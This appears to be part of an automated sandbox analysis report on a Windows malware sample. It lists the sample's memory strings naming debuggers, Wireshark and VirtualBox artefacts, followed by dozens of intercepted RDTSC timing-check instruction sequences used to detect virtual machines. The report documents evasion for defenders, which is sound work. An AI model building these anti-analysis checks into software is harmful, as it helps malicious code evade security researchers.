Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1574005 second address: 1574009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E165A second address: 16E166D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F3FC4805AC6h 0x00000009 jng 00007F3FC4805AC6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E1A4A second address: 16E1A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E1BA5 second address: 16E1BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3FC4805AC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E1BB1 second address: 16E1BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E1BBC second address: 16E1BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3FC4805AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E1ECC second address: 16E1ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5A3C second address: 16E5A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F3FC4805ACEh 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3FC4805ACAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5BD0 second address: 16E5C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jnc 00007F3FC515B338h 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 pushad 0x00000014 jnp 00007F3FC515B336h 0x0000001a jnp 00007F3FC515B336h 0x00000020 popad 0x00000021 pop ecx 0x00000022 mov eax, dword ptr [eax] 0x00000024 jnc 00007F3FC515B34Ch 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e jmp 00007F3FC515B349h 0x00000033 pop eax 0x00000034 mov dword ptr [ebp+122D1AB0h], edi 0x0000003a lea ebx, dword ptr [ebp+1244597Ch] 0x00000040 jbe 00007F3FC515B336h 0x00000046 jng 00007F3FC515B33Ch 0x0000004c xor dword ptr [ebp+122D208Dh], esi 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5C55 second address: 16E5C5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5CBB second address: 16E5CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B33Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5CCF second address: 16E5D41 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3FC4805AC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b ja 00007F3FC4805AD2h 0x00000011 nop 0x00000012 mov ecx, 0339A0B1h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F3FC4805AC8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 pushad 0x00000034 xor dword ptr [ebp+122D1AA9h], ecx 0x0000003a push ecx 0x0000003b jmp 00007F3FC4805AD9h 0x00000040 pop edx 0x00000041 popad 0x00000042 push 745FAE56h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5D41 second address: 16E5D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B33Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5D53 second address: 16E5D58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5D58 second address: 16E5D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5D5E second address: 16E5DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 745FAED6h 0x0000000e mov esi, edx 0x00000010 push 00000003h 0x00000012 call 00007F3FC4805AD3h 0x00000017 mov dword ptr [ebp+122D283Dh], esi 0x0000001d pop edx 0x0000001e push 00000000h 0x00000020 mov ecx, dword ptr [ebp+122D2A13h] 0x00000026 push 00000003h 0x00000028 stc 0x00000029 push BA1A93D4h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F3FC4805AD5h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5DB1 second address: 16E5DED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F3FC515B336h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 7A1A93D4h 0x00000013 xor dword ptr [ebp+122D1D52h], ebx 0x00000019 lea ebx, dword ptr [ebp+12445985h] 0x0000001f mov edx, dword ptr [ebp+122D2C1Fh] 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3FC515B344h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5E56 second address: 16E5E5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5E5D second address: 16E5E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor ch, FFFFFFCFh 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D3739h], edi 0x00000015 push 3BA35591h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3FC515B33Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16E5F72 second address: 16E5F84 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3FC4805AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F3FC4805AC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705B89 second address: 1705B8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705B8D second address: 1705B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D9ACD second address: 16D9AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3FC515B336h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1703CFE second address: 1703D0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3FC4805AC8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1703FF3 second address: 1703FFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1704411 second address: 1704418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1704418 second address: 1704420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1704561 second address: 1704576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F3FC4805ACCh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1704576 second address: 1704592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B348h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16FAD82 second address: 16FAD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16FAD86 second address: 16FAD92 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3FC515B336h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D1587 second address: 16D158C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D158C second address: 16D1597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F3FC515B336h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D1597 second address: 16D15B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805ACCh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F3FC4805AC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 16D15B4 second address: 16D15B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705577 second address: 170557B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 170557B second address: 170558C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B33Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 170558C second address: 1705591 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17056E3 second address: 17056F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F3FC515B33Ah 0x0000000b push eax 0x0000000c pop eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705A2A second address: 1705A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705A35 second address: 1705A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B33Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1705A47 second address: 1705A4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 170C8C9 second address: 170C8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 170C8CD second address: 170C8EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F3FC4805AD3h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 170C8EA second address: 170C8F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F3FC515B336h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17120FF second address: 1712103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712103 second address: 1712107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1712107 second address: 1712148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805ACDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F3FC4805ACAh 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F3FC4805AD4h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007F3FC4805AC6h 0x00000020 jnc 00007F3FC4805AC6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17117B2 second address: 17117BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F3FC515B338h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17117BF second address: 17117C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17117C4 second address: 17117F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F3FC515B33Eh 0x0000000f jmp 00007F3FC515B347h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17117F2 second address: 17117FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3FC4805AD2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17117FC second address: 171180A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3FC515B336h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1711F3E second address: 1711F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1711F42 second address: 1711F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1711F46 second address: 1711F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC4805ACEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3FC4805AD9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1711F75 second address: 1711FA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B346h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3FC515B343h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713FEA second address: 1713FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3FC4805AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1713FF4 second address: 1713FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1714354 second address: 171435A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171435A second address: 1714360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1714360 second address: 1714364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1714364 second address: 1714368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1714813 second address: 171482F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3FC4805AD1h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171505D second address: 1715077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3FC515B345h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17151F3 second address: 17151F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17156F6 second address: 17156FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1717CBC second address: 1717CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171921B second address: 1719221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719221 second address: 1719226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719C8F second address: 1719CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B340h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F3FC515B33Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719CB7 second address: 1719D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F3FC4805AC8h 0x0000000b popad 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D1F18h] 0x00000013 jmp 00007F3FC4805AD8h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F3FC4805AC8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 sub edi, 07D7C7B8h 0x0000003a mov esi, 585818ACh 0x0000003f push 00000000h 0x00000041 mov edi, 7A946607h 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 jl 00007F3FC4805AC6h 0x0000004f pop edx 0x00000050 pop eax 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719D2C second address: 1719D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719D30 second address: 1719D36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1719D36 second address: 1719D3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171D80F second address: 171D813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171E781 second address: 171E7E4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3FC515B336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F3FC515B338h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov bx, cx 0x00000029 push edx 0x0000002a movzx edi, ax 0x0000002d pop ebx 0x0000002e push 00000000h 0x00000030 mov ebx, dword ptr [ebp+122D2A47h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F3FC515B338h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jl 00007F3FC515B336h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 171E7E4 second address: 171E7EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 17205D2 second address: 17205EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3FC515B349h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1720815 second address: 172082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3FC4805AD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1720922 second address: 1720928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U6mwWZlkzH.exe	RDTSC instruction interceptor: First address: 1723D0C second address: 1723D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
